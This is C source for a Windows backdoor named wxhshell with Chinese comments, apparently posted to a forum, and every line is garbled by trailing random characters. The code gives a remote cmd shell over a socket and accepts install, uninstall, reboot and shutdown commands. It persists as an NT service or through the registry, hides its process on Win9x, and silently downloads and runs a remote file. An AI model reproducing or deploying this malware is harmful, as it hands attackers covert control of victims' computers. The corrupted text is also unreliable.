    switch(cmd[0]) { wdt2T8`I/  
  ?#a&eW  
  // 帮助 &bq1n_  
  case '?': { i\;ZEM{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y'000#+  
    break; :ek^M (  
  } $S' TW3  
  // 安装 [^GBg>k  
  case 'i': { &3IkC(yD  
    if(Install()) 8VG}-   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;1yF[<a  
    else ,~,q 0PA7J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\|  
    break; 9{3_2CIL  
    } WI&A+1CK-5  
  // 卸载 WL(Y1>|j  
  case 'r': { gJp6ReZ#  
    if(Uninstall()) O`Qke Z}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T*@o?U  
    else M]X!D7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D?%[du:V  
    break; B#hvw'}  
    } ?f9M59(l  
  // 显示 wxhshell 所在路径 ]@21KO  
  case 'p': { W{J e)N  
    char svExeFile[MAX_PATH]; phG *It}  
    strcpy(svExeFile,"\n\r"); #|8%h  
      strcat(svExeFile,ExeFile); vCej( ))  
        send(wsh,svExeFile,strlen(svExeFile),0); 59$PWfi-\  
    break; ?7pn%_S  
    } s)E8}-v  
  // 重启 tq,^!RSbZ  
  case 'b': { #/Ob_~-?j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =\u,4  
    if(Boot(REBOOT)) |Isn<|_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SFh<>J^ 0a  
    else { mW{uChHP  
    closesocket(wsh); y$nI?:d  
    ExitThread(0); O13]H"O_  
    } {/)i}V#RE  
    break;  z9&j  
    } Ax\d{0/oL2  
  // 关机 _\yR/W~  
  case 'd': { LmyaC2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Uc_ }="  
    if(Boot(SHUTDOWN)) g$2#TWW5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;aM8N  
    else { |wJdp,q R  
    closesocket(wsh); $bp$[fX(e  
    ExitThread(0); sqpo5~  
    } ";`jS&"=  
    break; \IC^z  
    } L'a+1O1q&i  
  // 获取shell oCE'@}s.i  
  case 's': { |5`ecjb.  
    CmdShell(wsh); q2F `q. j  
    closesocket(wsh); &b^_~hB:q  
    ExitThread(0); i,"Xw[H*s  
    break; 9i 9 ,X^=  
  } JFc, f  
  // 退出 (!8b$) k  
  case 'x': { l'Za"TL:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F{QOu0$cA4  
    CloseIt(wsh); "0nsYE  
    break; AH/^v;-  
    } [?:MIl#!  
  // 离开 !_3b#Caf  
  case 'q': { Z'9|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @1xVWSF  
    closesocket(wsh); #%ld~dgz-  
    WSACleanup(); C7R3W,  
    exit(1); K"t?  
    break; NAtDt=  
        } ID`C  
  } fBZLWfp9  
  } )N~ p4kp  
j 7:r8? G  
  // 提示信息 \z2y?"\?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`q|GY  
} 2!}F+^8'P  
  } w^zqYGxG)  
Vb#a ,t  
  return; At<MY`ka  
} 'OTZ&;7{  
^Os }sJ*5S  
// shell模块句柄 Qp[ Jw?a  
int CmdShell(SOCKET sock) ?(R#  
{ &qPezyt  
STARTUPINFO si; A0@,^|]  
ZeroMemory(&si,sizeof(si)); FXY>o>K%h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8<0P Ssx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P 0+@,kM  
PROCESS_INFORMATION ProcessInfo; OESKLjFt  
char cmdline[]="cmd"; WY>$.e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  h#}w18l  
  return 0; x ~)~v?>T  
} />8A?+g9u  
V&ETt.91Ft  
// 自身启动模式 u"oO._a(  
int StartFromService(void) e(^I.`9z  
{ W;R6+@I[  
typedef struct XNx$^I=  
{ G Wa6FX:/  
  DWORD ExitStatus; 'ParMT  
  DWORD PebBaseAddress; 8Uh|V&  
  DWORD AffinityMask; SD*q+Si,1U  
  DWORD BasePriority; PHT<]:"`<  
  ULONG UniqueProcessId; 'l!\2Wv2  
  ULONG InheritedFromUniqueProcessId; E=,b;S-  
}   PROCESS_BASIC_INFORMATION; Oprfp^L  
*szs"mQ/  
PROCNTQSIP NtQueryInformationProcess; I:oEt  
Ebj0 {ZL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 Vc_jYO@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rxMo7px@}I  
=$bF[3D  
  HANDLE             hProcess; -le^ 5M7  
  PROCESS_BASIC_INFORMATION pbi; 2/t;}pw8  
v4E=)?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uSI@Cjp  
  if(NULL == hInst ) return 0; Y R~e_cA:  
iNl<<0a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %=2sz>M+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4<}@hk Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]smu~t0\  
; xw9#.d#D  
  if (!NtQueryInformationProcess) return 0; _~CJitR3  
(ot56`,k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (t&`m[>K  
  if(!hProcess) return 0; Z-ci[Zv  
`$JZJ!,A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )S4ga  
O SUiS`k  
  CloseHandle(hProcess); k0\a7$}F  
xWa[qCr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); saZK+kD4I  
if(hProcess==NULL) return 0; q[P>s{"  
QaEiPn~  
HMODULE hMod; A0A|cJP  
char procName[255]; aw lq/  
unsigned long cbNeeded; +?3RC$jyw  
_(gkYJ+MK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &,PA+#  
.j,xh )v"  
  CloseHandle(hProcess); Hr}"g@ <  
?(B}w*G~  
if(strstr(procName,"services")) return 1; // 以服务启动 or;VmU8$zb  
BHgs,  
  return 0; // 注册表启动 ,3}+t6O"  
} *UW 8|\;  
Oz_CEMcy  
// 主模块 rmvrv.$3  
int StartWxhshell(LPSTR lpCmdLine) NW0se DL  
{ 4%qmwt*p  
  SOCKET wsl; @##}zku  
BOOL val=TRUE; }0 H<G0   
  int port=0; Fq+Cr?-  
  struct sockaddr_in door; \,p?pL<'  
!E00I0W-h  
  if(wscfg.ws_autoins) Install(); ~MB)}!S:  
5lzbg   
port=atoi(lpCmdLine); B3[X{n$px  
:$yOic}y  
if(port<=0) port=wscfg.ws_port; MU] F'6V  
OraT$lV)_  
  WSADATA data; N@k' s   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @(x]+*)  
AZNo%!)o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :&z!o"K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kn3GgdU  
  door.sin_family = AF_INET;  FO!0TyQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "3Dnp?gB  
  door.sin_port = htons(port); \&V[<]  
SV ~QH&0'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5M)B  
closesocket(wsl); {*CG&-k2D  
return 1; BBX/&d8n  
} "tk1W>liIN  
p\'X%R  
  if(listen(wsl,2) == INVALID_SOCKET) { G^|b*n!!  
closesocket(wsl); UDJ#P9uy  
return 1; PPpaH!(D  
} t,XbF  
  Wxhshell(wsl); zTG1 0  
  WSACleanup(); +YCWoX 2  
[.$%ti*!  
return 0; G;t< dJ8  
]+qd|}^  
} g_tEUaiK  
Fgwe`[  
// 以NT服务方式启动 9_&]7ABV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $E:z*~ ?  
{  L=!h`k  
DWORD   status = 0; ' t(#HBU  
  DWORD   specificError = 0xfffffff; *n@rPr-  
E:\#Ur2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y@ ;/Sf$Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qB$QC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |4aU&OX  
  serviceStatus.dwWin32ExitCode     = 0; 5f@&XwD9  
  serviceStatus.dwServiceSpecificExitCode = 0; ,T  3M  
  serviceStatus.dwCheckPoint       = 0; V+0pvgS[  
  serviceStatus.dwWaitHint       = 0; 6,~ %  
sKiy 1Ww  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1#>uqUxah  
  if (hServiceStatusHandle==0) return; 8BS Nm  
w[QC  
status = GetLastError(); Zmk 9C@  
  if (status!=NO_ERROR) +\PLUOk  
{ *$('ous8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yswf2F  
    serviceStatus.dwCheckPoint       = 0; V*%><r  
    serviceStatus.dwWaitHint       = 0; <7ag=IgDy  
    serviceStatus.dwWin32ExitCode     = status; LG("<CU  
    serviceStatus.dwServiceSpecificExitCode = specificError; ) AGE"M3X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UAI'tRY N_  
    return; /k\)q  
  } ee Bw\f0  
Ix=(f0|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m9 D*I1  
  serviceStatus.dwCheckPoint       = 0; ky]L`w  
  serviceStatus.dwWaitHint       = 0; ]wbV1Y"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3<a|_(K  
} fx^yC.$2  
G}WY0FC6  
// 处理NT服务事件,比如:启动、停止 %3HF_DNOY=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $Zrc-tkV  
{ YO@~y *,  
switch(fdwControl) J<cY'?D  
{ .k!2{A  
case SERVICE_CONTROL_STOP: G [yI[7=d  
  serviceStatus.dwWin32ExitCode = 0; kOel !A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YB{'L +Wbw  
  serviceStatus.dwCheckPoint   = 0; \Q?#^<O  
  serviceStatus.dwWaitHint     = 0; PEKXPF N  
  { BH$hd|KD<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); URr{J}5  
  } V3 ~&R:Z9e  
  return; YZ->ep}  
case SERVICE_CONTROL_PAUSE: raP9rEs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FPE6H:'  
  break; #xq|/JWs  
case SERVICE_CONTROL_CONTINUE: ?%Pi#%P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vhU $GG8  
  break; Q?Xqf7y  
case SERVICE_CONTROL_INTERROGATE: -3y $j+  
  break; a63Ud<_a7  
}; 01%0u8U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gHWsKE  %  
} m{yq.H[X  
NeewV=[%  
// 标准应用程序主函数 W{}M${6&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2rf#Bq?7  
{ PP6gU=9[)  
'?mky,:HT  
// 获取操作系统版本 ~Bt >Y  
OsIsNt=GetOsVer(); )o::~ eu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u@4khN: ^p  
0SZ:C(]  
  // 从命令行安装 B-$ps=G+z  
  if(strpbrk(lpCmdLine,"iI")) Install(); }qhND-9#@  
OR10IS  
  // 下载执行文件 "@xL9[d  
if(wscfg.ws_downexe) { &c= 3BEh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4%jQHOZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); cm>+f^4?n  
} ~^g*cA t}  
ge{%B~x  
if(!OsIsNt) { $cO-+Mr-~  
// 如果时win9x,隐藏进程并且设置为注册表启动 Oj7).U0;#  
HideProc(); 8(-N;<Ef2  
StartWxhshell(lpCmdLine); # *7ImEN  
} y(**F8>?xE  
else 6ZC~q=my  
  if(StartFromService()) \%#luk@:  
  // 以服务方式启动 Oh7wyQiV  
  StartServiceCtrlDispatcher(DispatchTable); Gfle"_4m8  
else .7Itbp6=R  
  // 普通方式启动 qi1#s,  
  StartWxhshell(lpCmdLine); X'7MW? q@  
Q6PMRG}/o  
return 0; P`n"E8"ab<  
}
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只看该作者 1 发表于: 2006-10-10
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